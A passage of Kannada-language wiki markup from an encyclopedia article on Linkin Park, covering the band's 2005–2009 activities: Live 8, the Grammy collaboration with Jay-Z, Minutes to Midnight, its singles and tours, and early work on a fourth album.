[http://www.lptimes.com/news2005/july/live8live.html Live 8 Philadelphia 2005] Retrieved on May 12, 2007</ref> ಸಂಗ್ರಹಿಸಲಾಯಿತು. ಜಯ್-Z ಅಲ್ಲದೇ ಬ್ಯಾಂಡ್ ಲೈವ್ 8 ನ್ನು ಆಯೋಜಿಸಿ ಅದನ್ನು [[ಫಿಲೆಡೆಲ್ಫಿಯಾ]],[[ಪೆನ್ಸಿಲ್ವೇನಿಯಾ]]ಗಳಲ್ಲಿ ಸಂಗೀತ ಕಾರ್ಯಕ್ರಮ ನಡೆಸಿ ಜಾಗತಿಕ ಮಟ್ಟದಲ್ಲಿ ಪ್ರೇಕ್ಷವರ್ಗವನ್ನು ಬ್ಯಾಂಡ್ <ref name="liv8" /> ಸೃಷ್ಟಿಸಿತು. ನಂತರ ಬ್ಯಾಂಡ್ ಜಯ್-ಝೆಡ್ ಜೊತೆಗೆ ಮರುಸೇರ್ಪಡೆಗೊಂಡು [[2006ರ ಗ್ರಾಮ್ಮಿ ಅವಾರ್ಡ್ ಸೆರಮನಿ]] ಗಳಿಸಿ ತನ್ನ ಸಾಧನೆ ತೋರಿತು.ಇದೇ ವೇಳೆಗೆ ಅದು "ನಂಬ್ / ಎನ್ಕೊರ್ ಕಾರ್ಯಕ್ರಮ ನೀಡಿ ಯಶಸ್ವಿನ ಹಾದಿಯಲ್ಲಿ [[ಬೆಸ್ಟ್ /ಸಂಗ್ ಕೊಲ್ಯಾಬರೇಶನ್]] ಗಾಗಿ ಕೂಡಾ ಗ್ರಾಮ್ಮಿ ಪ್ರಶಸ್ತಿಯ ಗರಿ <ref>About.com, [http://top40.about.com/b/a/207768.htm Jay-Z and Linkin Park to Mash-Up Onstage at the Grammys] {{Webarchive|url=https://web.archive.org/web/20060629051112/http://top40.about.com/b/a/207768.htm |date=2006-06-29 }}, Retrieved on June 9, 2007</ref> ಮೂಡಿಸಿಕೊಂಡಿತು. ಇದಾದನಂತರ 2006ರಲ್ಲಿ ಜಪಾನಿನಲ್ಲಿ ಮೆಟಾಲಿಕಾ ಆತಿಥ್ಯದಲ್ಲಿ [[ಸಮರ್ ಸೊನಿಕ್]] ಸಂಗೀತ ಹಬ್ಬದ ರಸದೌತಣ <ref>Linkinpark.com, [http://linkinpark.com/news-story/News/linkin_park_fort_minor_at_summer_sonic_in_japan-1 Linkin Park, Fort Minor at Summer Sonic in Japan] {{Webarchive|url=https://web.archive.org/web/20071113082400/http://linkinpark.com/news-story/News/linkin_park_fort_minor_at_summer_sonic_in_japan-1 |date=2007-11-13 }}, Retrieved on June 9, 2007</ref> ನೀಡಿತು === ''ಮಿನ್ಯುಟ್ಸ್ ಟು ಮಿಡ್ ನೈಟ್ '' (2006–2008) === [[ಚಿತ್ರ:LinkiPark.JPG|thumb|left|ಪ್ರೇಗ್ಯುನಲ್ಲಿ ಲಿಂಕಿನ್ ಪಾರ್ಕ್, 2007.]] ಲಿಂಕಿನ್ ಪಾರ್ಕ್ 2006ರಲ್ಲಿ ಮತ್ತೆ ರೆಕಾರ್ಡಿಂಗ್ ಸ್ಟುಡಿಯೊಕ್ಕೆ ವಾಪಸಾಗಿ ಹೊಸ ಹೊಸ ವಿಷಯ ವಸ್ತುಗಳ ಮೇಲೆ ಕೆಲಸ ಪ್ರಾರಂಭಿಸಿತು. ಅಲ್ಬಮ್ ನಿರ್ಮಾಣಕೆ ಬ್ಯಾಂಡ್ ನಿರ್ಮಾಪಕ [[ರಿಕ್ ರುಬಿನ್]] ಅವರ ನೆರವಿನೊಂದಿಗೆ ಇದನ್ನು ಆರಂಭಿಸಿದ್ದು 2006ರಲ್ಲಾದರೂ ಇದು 2007 ವರೆಗೆ ಬಿಡುಗಡೆಗೆ <ref name="No new">MTV.com, [http://www.mtv.com/news/articles/1539802/20060830/linkin_park.jhtml Mike Shinoda Says 'No New Linkin Park Album In 2006 After All'], Retrieved on June 9, 2007</ref> ವಿಳಂಬವಾಯಿತು. ಬ್ಯಾಂಡ್ ಆಗಷ್ಟ್ 2006ರಲ್ಲಿ ಮೂವತ್ತರಿಂದ ಐವತ್ತು ಹಾಡುಗಳನ್ನು ರೆಕಾರ್ಡ್ ಮಾಡಿತಾದರೂ ಶಿನೊಡಾ ಹೇಳುವಂತೆ ಇದು ಅರ್ಧದಷ್ಟು ಹಾದಿ <ref>MTV.com, [http://www.mtv.com/news/articles/1530011/20060502/shinoda_mike.jhtml Mike Shinoda Says Linkin Park Halfway Done With New Album], Retrieved on June 9, 2007</ref> ಕ್ರಮಿಸಿತು. ನಂತರ ಬೆನ್ನಿಂಗಟನ್ ಈ ಹೊಸ ಅಲ್ಬಮ್ ಅದರ ಹಿಂದಿನ ನು ಮೆಟಲ್ ಧ್ವನಿಗೆ ಹಿಂದೆ ಹಾಕಿ ಮುಂದೆ ಹೋಗಲಿದೆ ಎಂದು <ref>MTV.com, [http://www.mtv.com/news/articles/1541846/20060927/linkin_park.jhtml?headlines=true Linkin Park Say Nu-Metal Sound Is 'Completely Gone' On Next LP], Retrieved on June 9, 2007</ref> ಅಭಿಪ್ರಾಯಪಟ್ಟರು. [[ವಾರ್ನರ್ ಬ್ರಸ.ರೆಕಾರ್ಡ್ಸ್]] ಬ್ಯಾಂಡ್ ನ ಮೂರನೆಯ ಸ್ಟುಡಿಯೊ ಅಲ್ಬಮ್ ''[[ಮಿನ್ಯುಟ್ಸ್ ಟು ಮಿಡ್ ನೈಟ್]] '' ನ್ನು ಅಮೆರಿಕದಲ್ಲಿ ಮೇ15,2007ರಲ್ಲಿ ಬಿಡುಗಡೆ ಮಾಡುವುದಾಗಿ ಅಧಿಕೃತವಾಗಿ <ref>Warner Bros. Records, [http://new.marketwire.com/2.0/rel.jsp?id=716379 Fans Counting the 'Minutes' as Linkin Park Reveal Album Name and Release Date]{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }}, Retrieved on June 9, 2007</ref> ಘೋಷಿಸಿತು. ಈ ಅಲ್ಬಮ್ ಮೇಲೆ ಸುಮಾರು ಹದಿನಾಲ್ಕು ತಿಂಗಳ ಕಾಲ ಕೆಲಸ ಮಾಡಿದ ನಂತರ ಬ್ಯಾಂಡ್ ನ ಸದಸ್ಯರು ತಮ್ಮ ಹಳೆಯ ಅಲ್ಬಮ್ ನಲ್ಲಿರುವ ಹದಿನೇಳು ಟ್ರ್ಯಾಕ್ಸ್ ಗಳಲ್ಲಿ ಐದನ್ನು ತೆಗೆದು ಹಾಕಿ ಮತ್ತೊಮ್ಮೆ ಅವುಗಳಿಗೆ ಪರಿಷ್ಕರಣೆ ಮಾಡಿದರು. ಅಲ್ಬಮ್ ನ ಹೊಸ ಶೀರ್ಷಿಕೆಯು [[ಡೂಮ್ಸ್ ಡೇ ಕ್ಲಾಕ್]] ಬ್ಯಾಂಡ್ ಹೊಸ ನವೀನ ಗೀತ ಶೈಲಿಗಳಿಗೆ ಪುನರ್ ಜೀವನ ನೀಡಿತು.ಇದು ಬ್ಯಾಂಡ್ ಬೆಳೆವ <ref>MTV.com, [http://www.mtv.com/#/news/articles/1553982/20070306/linkin_park.jhtml Linkin Park Finish Apocalyptic Album, Revive Projekt Revolution Tour], Retrieved on June 9, 2007</ref> ಮುನ್ಸೂಚನೆಯಾಯಿತು. ''ಮಿನ್ಯುಟ್ಸ್ ಟು ಮಿಡ್ ನೈಟ್'' ಮೊದಲ ವಾರದಲ್ಲೇ ಸುಮಾರು 600,000 ಪ್ರತಿಗಳಷ್ಟು ಮಾರಾಟ ಕಂಡಿತು.ಇತ್ತೀಚಿನ ವರ್ಷಗಳಲ್ಲಿ ಈ ದಾಖಲೆಯು ಎಲ್ಲಾ ಅಲ್ಬಮ್ ವಹಿವಾಟುಗಳನ್ನು ಹಿಂದೆ ಹಾಕಿತು.<ref name="billm" /> ಇದೇ ಅಲ್ಬಮ್ ಬಿಲಿಯರ್ಡ್ಸ್ ಚಾರ್ಟ್ಸ್ ನ <ref name="billm" /> ಪಟ್ಟಿಯಲ್ಲಿತ್ತು. <ref name="MTV Adds for the Week of 4/2/07">Videostatic, [http://www.videostatic.com/vs/2007/week13/index.html#entry-32223480 MTV Adds for the Week of 4/2/07] {{Webarchive|url=https://web.archive.org/web/20121014172259/http://www.videostatic.com/vs/2007/week13/index.html#entry-32223480 |date=2012-10-14 }}, Retrieved on December 19, 2007.</ref> ಅಲ್ಬಮ್ ನ ಮೊದಲ ಸಿಂಗಲ್ "[[ವಾಟ್ ಐ ಹಾವ್ ಡನ್]] "ಏಪ್ರಿಲ್ 2ರಂದು ಬಿಡುಗಡೆಯಾಯಿತು. ಪ್ರಮುಖವಾಗಿ MTV ಚಾನಲ್ ಮತ್ತು [[ಫ್ಯೂಸ್]] ನಲ್ಲಿ ಮೊದಲ ವಾರವೇ ತನ್ನ ಜನಪ್ರಿಯತೆ <ref name="MTV Adds for the Week of 4/2/07"/> ಮೆರೆಯಿತು. ಇದೇ ಸಿಂಗಲ್ (ಬಿಡಿ)ಎನಿಸಿಕೊಂಡ ಹಾಡು ಕೇಳುಗರ ಮನತಣಿಸಿತು.ಅಷ್ಟೇ ಅಲ್ಲದೇ [[ಬಿಲ್ ಬೋರ್ಡ್ಸ್]] ನ ಪಟ್ಟಿಯಲ್ಲಿನ [[ಮಾಡೆರ್ನ್ ರಾಕ್ ಟ್ರ್ಯಾಕ್ಸ್]] ಮತ್ತು [[ಮೇನ್ ಸ್ಟ್ರೀಮ್ ರಾಕ್ ಟ್ರ್ಯಾಕ್ಸ್]] ಗಳಲ್ಲಿ ಉನ್ನತ ಸ್ಥಾನ <ref>Billboard.com, [http://www.billboard.com/bbcom/retrieve_chart_history.do?model.vnuArtistId=411805&amp;model.vnuAlbumId=947004 Artist Chart History – Singles] Retrieved on June 9, 2007</ref> ಗಿಟ್ಟಿಸಿಕೊಂಡಿತು. ಇದೇ ಹಾಡನ್ನು 2007ರಲ್ಲಿ ತೆರೆಕಂಡ ಆಕ್ಸನ್ ಮೂವಿ ಟ್ರಾನ್ಸಫಾರ್ಮರ್ಸ್ ನಲ್ಲಿ ಸೌಂಡ್ ಟ್ರ್ಯಾಕ್ ಆಗಿ ಬಳಸಲಪಟ್ಟಿತು. ಅದೇ ವರ್ಷದ ಕೊನೆಯಲ್ಲಿ ಬ್ಯಾಂಡ್ [[ಅಮೆರಿಕನ್ ಮ್ಯುಸಿಕ್ ಅವಾರ್ಡ್ಸ್]] ನಲ್ಲಿ "ಫೆವರೇಟ್ ಆಲ್ಟರ್ ನೇಟಿವ್ ಆರ್ಟಿಸ್ಟ್ "ಪ್ರಶಸ್ತಿ <ref>ShowBuzz.com, [http://www.showbuzz.cbsnews.com/stories/2007/11/19/music/main3519877.shtml American Music Awards – Winners List] {{Webarchive|url=https://web.archive.org/web/20080705172537/http://www.showbuzz.cbsnews.com/stories/2007/11/19/music/main3519877.shtml |date=2008-07-05 }}, Retrieved on March 21, 2008.</ref> ಗಳಿಸಿತು. ಬಿಡಿ ಹಾಡುಗಳ ಬಿಡುಗಡೆಯಲ್ಲಿಯೇ ಬ್ಯಾಂಡ್ ಯಶಸ್ವು ಕಂಡುಕೊಂಡಿತು.ಉದಾಹರಣೆಗೆ "[[ಬ್ಲೀಡ್ ಇಟ್ ಔಟ್]] " "[[ಶಾಡೊ ಆಫ್ ದಿ ಡೇ]] " "[[ಗಿವನ್ ಅಪ್]] "ಮತ್ತು "[[ಲೀವ್ ಔಟ್ ಆಲ್ ದಿ ರೆಸ್ಟ್]] "ಇವುಗಳು 2007ರ ವರ್ಷದುದ್ದಕ್ಕೂ ಇಡುಗಡೆ ಕಂಡವಲ್ಲದೇ 2008ರ ಆರಂಭದಲ್ಲೂ ಇವುಗಳ ಬಿಡುಗಡೆ ನಡೆದಿತ್ತು. [[ಬ್ಯಾಂಡ್ ಬಸ್ತಾ ರಿಮ್ಸ್]] ಜೊತೆ ಕೂಡಾ "[[ಉಯಿ ಮೇಡ್ ಇಟ್]] "ಬಿಡಿ ಹಾಡಿನೊಂದಿಗೆ ತನ್ನ ಸಹಭಾಗಿತ್ವ ಪಡೆದುಕೊಂಡಿತು.ಏಪ್ರಿಲ್ 29ರಂದು ಈ ಸಿಂಗಲ್ ಜನಮಾನಸಕ್ಕೆ <ref>[http://acharts.us/song/35392 – "We Made It" Music Charts (Canada)], ''aCharts'' . 2008 ಮೇ 22ರಂದು ಪ್ರಾರಂಭವಾಯಿತು</ref> ಬಂತು. [[ಚಿತ್ರ:Linkin Park at the Novarock Festival.jpg|229px|thumb|right|ಲಿಂಕಿನ್ ಪಾರ್ಕ್ 2007'ನೊವಾರಾಕ್ ಹಬ್ಬದಲ್ಲಿ.]] ಲಿಂಕಿಂಗ್ ಪಾರ್ಕ್ ನ ಪ್ರವಾಸಗಳು ಮತ್ತು ಲೈವ್ ಶೊಸ್ ಜೊತೆಯಲ್ಲಿಯೇ 2007ರ ಜುಲೈ 7ರಲ್ಲಿ ಜಪಾನ್ [[ಲೈವ್ ಅರ್ಥ್ ಜಪಾನ್]] ನಲ್ಲಿ ನಡೆದ ಶೊ ಕೂಡ ಬ್ರ್ಯಾಂಡ್ ಗೆ ಹೆಸರು ತಂದು ಕೊಟ್ಟಿತು.ಇಂಗ್ಲೆಂಡಿನ [[ಡೌನ್ ಲೋಡ್ ಫೆಸ್ಟಿವಲ್]] ಸಮಾರಂಭಕ್ಕಾಗಿ ಡೊನಿಂಗ್ಟನ್ ಪಾರ್ಕ್ ಮತ್ತು ಕೆನಡಾದಲ್ಲಿನ [[ಎಜ್ ಫೆಸ್ಟ್]], [[ಟೊರಂಟೊ]]ದಲ್ಲಿನ [[ಡೈನ್ ಸಿವ್ ಪಾರ್ಕ್]] ಗಳಲ್ಲಿ ಬ್ಯಾಂಡ್ ತನ್ನ ಗರಿಮೆ <ref>Billboard.com, [http://www.billboard.com/bbcom/news/article_display.jsp?vnu_content_id=1003608605 Linkin Park, Local Stars Kickstart Live Earth Japan], Retrieved on July 12, 2007</ref> ತೋರಿತು. ಯುನೈಟೆಡ್ ಕಿಂಗಡಮ್ ಸುತ್ತಮುತ್ತಲಿನ ಪ್ರವಾಸ ಕೈಗೊಳ್ಳುವ ಮುಂಚೆ ಬ್ಯಾಂಡ್ ತನ್ನ ನಾಲ್ಕನೆಯ ಪ್ರವಾಸದ [[ಪ್ರೊಜೆಕ್ಟ್ ರೆವಲೂಶನ್]] ತಿರುಗಾಟವನ್ನು ಪೂರ್ಣಗೊಳಿಸಿತು.ಅದು [[ನಾಟಿಂಗ್ ಹ್ಯಾಮ]], [[ಶಿಫೀಲ್ಡ್]] ಮತ್ತು [[ಮ್ಯಾಂಚೆಸ್ಟರ್]] ಗಳ ಭೇಟಿಯನ್ನು ಸಹ ಮುಗಿಸಿತು.[[ಲಂಡನ್]] ನಲ್ಲಿನ [[ದಿ O2 ಅರೆನಾ]] ದಲ್ಲಿನ ಪ್ರದರ್ಶನ ಹೆಸರು ತಂದಿತು. ಲಿಂಕಿನ್ ಪಾರ್ಕ್ ನ ಬೆನ್ನಿಂಗ್ಟನ್ ಅವರು ಹೇಳಿದ ಪ್ರಕಾರ ''ಮಿನ್ಯುಟ್ಸ್ ಟು ಮಿಡ್ ನೈಟ್ '' ಅನುಸರಿಸಿ ಅದಕ್ಕೆ ಪೂರಕ ಅಲ್ಬಮ್ ವೊಂದನ್ನು ಬಿಡುಗಡೆ ಮಾಡುವ ಯೋಜನೆ <ref name="follow">Billboard.com, [http://www.billboard.com/bbcom/news/article_display.jsp?vnu_content_id=1003707157 Linkin Park Plans Quick 'Midnight' Follow Up], Retrieved on February 13, 2008.</ref> ಹಾಕಿಕೊಳ್ಳಲಾಗಿತ್ತು. ಹೇಗೆಯಾದರೂ ಬ್ಯಾಂಡ್ ನ ಮುಂಬರುವ ಅಲ್ಬಮ್ ಗಳಿಗಾಗಿ ಸ್ಫೂರ್ತಿ ಪಡೆಯಲು ಸದಸ್ಯರು ಮೊದಲು ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್ ನ ಪ್ರವಾಸ <ref name="follow" /> ಕೈಗೊಂಡರು. ''[[ರೊಲಿಂಗ್ ಸ್ಟೋನ್]]'' ಅವರೊಂದಿಗಿನ ಸಂದರ್ಶನದಲ್ಲಿ ಬೆನ್ನಿಂಗ್ಟನ್ ಅವರು ಹೇಳಿದ ಪ್ರಕಾರ ಈ ಅಲ್ಬಮ್ ಗಾಗಿ ಹೊಸ ವಸ್ತುವೊಂದನ್ನು ಸಿದ್ದಪಡಿಸಲಾಗಿದೆ. ಇದರ ಬೆನ್ನಲ್ಲೇ ಶಿನೊಡ್ ಅವರ ಪ್ರಕಾರ 2009ರ ಅಂತ್ಯಕ್ಕೆ ಇದು ಮಾರುಕಟ್ಟೆಗೆ ಬಿಡುಗಡೆಗೆ ಸಜ್ಜುಗೊಂಡಿರುತ್ತದೆ. ಮೈಕ್ ಶಿನೊಡಾ ಕೂಡಾ "[[Road to Revolution: Live at Milton Keynes]]" ಶೀರ್ಷಿಕೆಯ ಲೈವ್ CD/DVD ಯೊಂದರ ಬಿಡುಗಡೆಯನ್ನು ಘೋಷಿಸಿದರು.ಇದನ್ನು ಪ್ರಾಜೆಕ್ಟ್ ರೆವಲೂಶನ್ ಮೂಲದಿಂದ ಲೈವ್ ವಿಡಿಯೊ ರೆಕಾರ್ಡಿಂಗ್ ಕಾರ್ಯವನ್ನು [[ಮಿಲ್ಟನ್ ಕಿಯೆನ್ಸ್ ಬಾವ್ಲ್]] ನಲ್ಲಿ ನಡೆಸಿ ಪ್ರತಿಯನ್ನು 29ನೆಯ ಜೂನ್ 2008ರಲ್ಲಿ ಅಧಿಕೃತವಾಗಿ <ref>Rollingstone.com, [http://www.rollingstone.com/rockdaily/index.php/2008/05/12/chester-bennington-talks-new-band-death-by-sunrise-next-linkin-park-album/ Linkin Park has already begun writing their next album] {{Webarchive|url=https://web.archive.org/web/20090501230942/http://www.rollingstone.com/rockdaily/index.php/2008/05/12/chester-bennington-talks-new-band-death-by-sunrise-next-linkin-park-album/ |date=2009-05-01 }}, Retrieved on May 14, 2008.</ref> ಬಿಡುಗಡೆಗೊಳಿಸಲಾಯಿತು. === ಭವಿಷ್ಯದ ನಿರ್ದೇಶನ (2008ರ ನಂತರ) === [[ಚಿತ್ರ:Dave Farrell, Linkin Park @ Sonisphere.jpg|thumb|left|190px|ಬ್ಯಾಸಿಸ್ಟ್ ಡೇವ್ "ಫೀನಿಕ್ಸ್ "ಫಾರೆಲ್ ಸೋನಿಪೂರ್ ಫೆಸ್ಟಿವಲ್ ನಲ್ಲಿ (ಕಿರ್ಜುರಿನ್ಲಾಟೊ2009)]] ಅಕ್ಟೋಬರ್ 2008ರಲ್ಲಿ ಫೀನಿಕ್ಸ್ ಮತ್ತು ಹಾನ್ ರೊಂದಿಗೆ ಆತನ ಮನೆಯ ಸ್ಟುಡಿಯೊದಲ್ಲಿಯೇ ಎರಡು ಹಾಡುಗಳಿಗೆ ಸಂಗೀತದ ಜೀವ ತುಂಬಿ ಅವುಗಳಿಗೆ ಹೊಸ ರೂಪ ಕೊಡುವುದನ್ನು ಶಿನೊಡಾ ಯೋಜಿಸಿದರು.ಆದಷ್ಟು ಬೇಗ ಈ ಯೋಜನೆಗೆ ಚಾಲನೆ ದೊರಕಿಸುವ ಎಲ್ಲಾ ರೂಪ-ರೇಷೆಗಳನ್ನು <ref>{{cite web|url=http://www.mikeshinoda.com/blog/Linkin_Park-In_The_Studio/new_linkin_park_music-1 |title=Mike Shinoda / Blog |publisher=Mikeshinoda.com |date= |accessdate=October 28, 2008}}</ref> ಸಿದ್ದಪಡಿಸಲಾಯಿತು.<ref name="Chester Bennington / Blog">{{cite web |url=http://www.cbennington.com/2008/10/billboard-linkin-park-thinking.html |title=Chester Bennington / Blog |publisher=Cbennington.com |date= |accessdate=October 29, 2008 |archive-date=ಏಪ್ರಿಲ್ 13, 2010 |archive-url=https://web.archive.org/web/20100413214002/http://www.cbennington.com/2008/10/billboard-linkin-park-thinking.html |url-status=dead }}</ref> ಲಿಂಕಿನ್ ಪಾರ್ಕ್ ನ ನಾಲ್ಕನೆಯ ಸ್ಟುಡಿಯೊ ಬಿಡುಗಡೆಯು ಒಂದು [[ಕಾನ್ಸೆಪ್ಟ್ ಅಲ್ಬಮ್]] ಹೊರಬರಲಿದೆ ಎಂದು ಬೆನ್ನಿಂಗ್ಟನ್ 2008ರಲ್ಲಿ <ref name="Chester Bennington / Blog"/> ಪ್ರಕಟಿಸಿದರು. ಆದರೆ ಬ್ಯಾಂಡ್ ಈ ಅಲ್ಬಮ್ ಬಗೆಗಿನ ಯಾವದೇ ವಿಶಿಷ್ಟ ವಿವರಗಳನ್ನು ಈ ಸಮಯದಲ್ಲಿ {{ref}}ಬಿಡುಗಡೆಗೊಳಿಸಲಿಲ್ಲ ಅಥವಾ ಬಹಿರಂಗಗೊಳಿಸಲಿಲ್ಲ. ಮೊದಮೊದಲು ಈ ಅಲ್ಬಮ್ ಕುರಿತಂತೆ ನನಗೆ ಭಯವಾಗಿತ್ತು ಎಂದು ಬೆನ್ನಿಂಗ್ಟನ್ [[MTV]] ಗೆ ನೀಡಿದ ಸಂದರ್ಶನದಲ್ಲಿ ಹೇಳಿದ.ಆದರೆ ಯಾವಾಗ ಇದು ನನ್ನ ಸ್ನೇಹಿತರ ಬೆಂಬಲದಿಂದ ಈ ಯೋಜನೆಯ ಆಲೋಚನೆ ಯಶಸ್ವಿಯಾಗಿ ಬಿಡುಗಡೆಯಾಯಿತೊ ಅದು ನನ್ನ ಆತ್ಮ ವಿಶ್ವಾಸದ ಮಟ್ಟವನ್ನು ಹೆಚ್ಕಿಸಿತು. ಇದು ಸ್ಪೂರ್ತಿದಾಯಕ ಯೋಜನೆ ಇದನ್ನು ನಮ್ಮ ಕಂಪೆನಿಯಲ್ಲಿ ದಾಖಲಿಸಿ ಬರೆದಿಡಬೇಕಾದ ಅಗತ್ಯವಿದೆ"ಎಂದೂ ಆತ ಅಭಿಮಾನದಿಂದ {{ref}}ಹೇಳಿದ್ದ. ಬರುವ ಡಿಸೆಂಬರ್ ವೇಳೆಗೆ ಬ್ಯಾಂಡ್ ಆರು ವಾರಗಳ ಸತತ ರೆಕಾರ್ಡಿಂಗ್ ಮಾಡುವ ಆಲೋಚನೆ ಇರುವುದಾಗಿ ಅವರು ಹೇಳಿದರು. ಈ ಅಲ್ಬಮ್ 2009ರ ಮಧ್ಯಭಾಗದಲ್ಲಿ ಬಿಡುಗಡೆ ಕಾಣಬೇಕಿತ್ತು.ಆದರೆ ಶಿನೊಡಾ ಅವರ ಪ್ರಕಾರ ಸನ್ ರೈಸ್ ನಿಂದ ಚೆಸ್ಟರ್ ನ ಡೆಡ್ ನ್ನು ಹೊರತರುವ ಆಶಯ ಹೊಂದಿರುವುದಾಗಿ ಘೋಷಿಸಿದರು.ಹೀಗಾಗಿ ಹೊಸ LP ಅಲ್ಬಮ್ ಬರುವ ವರ್ಷದ ಆರಂಭಕ್ಕೆ ಇದು ಬಿಡುಗಡೆ <ref>Mike shinoda blog, [http://www.mikeshinoda.com/blog/in_the_studio-linkin_park_/in_studio_march_2009 In Studio: March 2009]</ref> ಕಂಡುಕೊಂಡಿತು. ಡಿಸೆಂಬರ್ 2008ರಲ್ಲಿ ಬ್ಯಾಂಡ್ ನ [[ಡಿಜಿಡಿಸೈನ್]] [[ನೂತನ ಪ್ರೊ ಟೂಲ್ಸ್ 8]] [[ಸಾಫ್ಟ್ ವೇರ್]] ನ ಮರುಪರಿಷ್ಕರಣೆಗೆ ಅವಕಾಶ ಮಾಡಿಕೊಟ್ಟಿತು. ಈ ಪ್ರಯೋಗವು ಶಿನೊಡಾ ಮತ್ತು ಬೌರ್ಡನ್ ಅವರ ಪ್ರಯತ್ನಕ್ಕೆ ಉತ್ತಮ ಸಹಕಾರ ಬೆಂಬಲ ನೀಡಿದ ಗೀತೆ <ref>http://www.mikeshinoda.com/blog/gadgets__recommendations-in_the_studio-linkin_park_/protools_8_mike_in_the_studio</ref> ಎನಿಸಿತು. ಶಿನೊಡಾ ಅವರ ವೈಯಕ್ತಿಕ ಅನುಭವದ ಪ್ರಕಾರ ಏಪ್ರಿಲ್ 2009ರಲ್ಲಿ ಲಿಂಕಿನ್ ಪಾರ್ಕ್ ತನ್ನ ಮುಂದಿನ ಸಂಗೀತಗಳಿಗೆ ಅತ್ಯುತ್ತಮ ''[[Transformers: Revenge of the Fallen]]'' ಯಶಸ್ವಿ ಚಲನಚಿತ್ರ ಸಂಗೀತ ನಿರ್ದೇಶಕ [[ಹಾನ್ಸ್ ಜಿಮ್ಮರ್]] ಅವರೊಂದಿಗೆ ಬ್ಯಾಂಡ್ ತನ್ನ ಮುಂದಿನ ಯೋಜನೆಗಳಿಗಾಗಿ ಆಲೋಚನೆ ನಡೆಸಿದೆ ಎಂದು ಶಿನೊಡಾ ಅಂತರಂಗ <ref>[http://www.mikeshinoda.com/blog/special_events-recommended_music-in_the_studio-featured-linkin_park_/transformers_2_new_linkin_park_song_and_score Transformers 2: New Linkin Park Song and Score] ''MikeShinoda.com'' April 24, 2009.</ref> ಬಿಚ್ಚಿಟ್ಟರು. ಮೇ ತಿಂಗಳ 7ರಂದು ಚಲನಚಿತ್ರಕ್ಕಾಗಿ ಅಳವಡಿಸಿದ ಈ ಹಾಡು "[[ನ್ಯು ಡಿವೈಡ್]] "ಚಲನಚಿತ್ರದ ಶೀರ್ಷಿಕೆಯೊಂದಿಗೆ ಬಿಡಿ ಹಾಡಾಗಿ ಬಿಡುಗಡೆ ಕಂಡಿತು.ಇದನ್ನು ಮೇ 18ರ ಹೊತ್ತಿಗೆ ಬಿಡುಗಡೆ <ref>[http://www.mikeshinoda.com/blog/in_the_studio-linkin_park_/transformers_song_name-1 Transformers Song Name] MikeShinoda.com. ಮೇ 14, 2009</ref><ref>Ditzian, Eric [http://www.mtv.com/movies/news/articles/1610868/story.jhtml 'Transformers: Revenge Of The Fallen' Soundtrack To Feature Linkin Park] ''MTV News'' . ಮೇ 14, 2009</ref> ಮಾಡಲಾಯಿತು. "ನ್ಯುಡಿವೈಡ್ "ನ ಸಂಗೀತ ವಿಡಿಯೊ ಜೂನ್ 12, 2009 ರಲ್ಲಿ ಬಿಡುಗಡೆ ಮಾಡಲಾಯಿತು,ಇದನ್ನು ಹಾನ್ ನಿರ್ದೇಶಿಸಿದ್ದರು. ಜೂನ್ 22, 2009ರಲ್ಲಿ ಬ್ಯಾಂಡ್ ಚಲನಚಿತ್ರದ ಪ್ರಧಾನ ಪಾತ್ರಧಾರಿಯಂತೆ ತನ್ನ ಚಿಕ್ಕ ಪ್ರದರ್ಶನದಿಂದ ಹೆಸರು ಮಾಡಿತು. [[ವೆಸ್ಟ್ ವುಡ್ ಗ್ರಾಮ]]ದಲ್ಲಿ ಈ ಸಂಗೀತ ಕಚೇರಿ ತನ್ನ ಬೀದಿ ಪ್ರದರ್ಶನ ತೋರಿ ನಾಟಕ ಪ್ರದರ್ಶನದ ಹೆಚ್ಚುಗಾರಿಕೆ ಎನಿಸಿತು. ಮೇ ತಿಂಗಳ 2009ರಲ್ಲಿ ತಾನು ನಾಲ್ಕನೆಯ ಅಲ್ಬಮ್ ಮೇಲೆ ಕೆಲಸ ಮಾಡುತ್ತಿರುವುದಾಗಿ ಘೋಷಿಸಿದ ಬ್ಯಾಂಡ್ ಮುಂಬರುವ "ಲೋಕ ಶೈಲಿಗಳ ದರ್ಜೆಯನ್ನು ಉನ್ನತೀಕರಿಸುವ" ಗುರಿಯಿಂದ ಇದನ್ನು 2010ರ ವೇಳೆಗೆ ಹೊರ ತರುವ ಆಶಯ <ref>{{Cite web |url=http://www.rollingstone.com/rockdaily/index.php/2009/05/26/linkin-park-cooking-up-genre-busting-concept-album-for-2010/ |title=Linkin Park Cooking Up Genre-Busting Album for 2010 |access-date=2010-03-09 |archive-date=2009-08-21 |archive-url=https://web.archive.org/web/20090821160233/http://www.rollingstone.com/rockdaily/index.php/2009/05/26/linkin-park-cooking-up-genre-busting-concept-album-for-2010/ |url-status=dead }}</ref> ಹೊಂದಿತ್ತು. ಈ ಹೊಸ ಅಲ್ಬಮ್ ''[[ಮಿನ್ಯುಟ್ಸ್ ಟು ಮಿಡ್ ನೈಟ್]]'' ಗೆ ಹೋಲಿಕೆಯಾಗುತ್ತಿದ್ದು ಇದು ಬ್ಯಾಂಡ್ ನ ಸ್ಥಿರತೆ ಮತ್ತು ಆಶಾದಾಯಕ ಪ್ರಯೋಗಳ ಕೊಂಡಿಯಾಗಿದೆ ಎಂದು [[ಶಿನೊಡಾ]] IGN ನೊಂದಿಗಿನ ಸಂದರ್ಶನವೊಂದರಲ್ಲಿ <ref>http://lptimes.com/news2009/june/news06222009.html</ref> ಹೇಳಿದರು. ಇನ್ನೂ ಅಧಿಕವೆಂದರೆ ರಿಕ್ ರುಬಿನ್ ಈ ಹೊಸ ಅಲ್ಬಮ್ ನ ನಿರ್ಮಾಪಕರಾಗಿ ಮರಳಲಿದ್ದಾರೆಂದು ಬೆನ್ನಿಂಗ್ಟನ್ <ref>http://lptimes.com/news2009/july/news07072009.html</ref> ಖಾತ್ರಿಪಡಿಸಿದರು. ಡಿಸೆಂಬರ್ 2009ರಲ್ಲಿ ಲಿಂಕಿನ್ ಪಾರ್ಕ್ ನ ಅಭಿಮಾನಿಗಳೊಂದಿಗೆ ಮಾತನಾಡಿದ,ಶಿನೊಡಾ ಈಗಾಗಲೇ ಐದು ಹಾಡುಗಳನ್ನು ಪೂರ್ಣಗೊಳಿಸಲಾಗಿದೆ;ಒದರಲ್ಲಿ ಶಿನೊಡಾ,ಇನ್ನೊಂದರಲ್ಲಿ 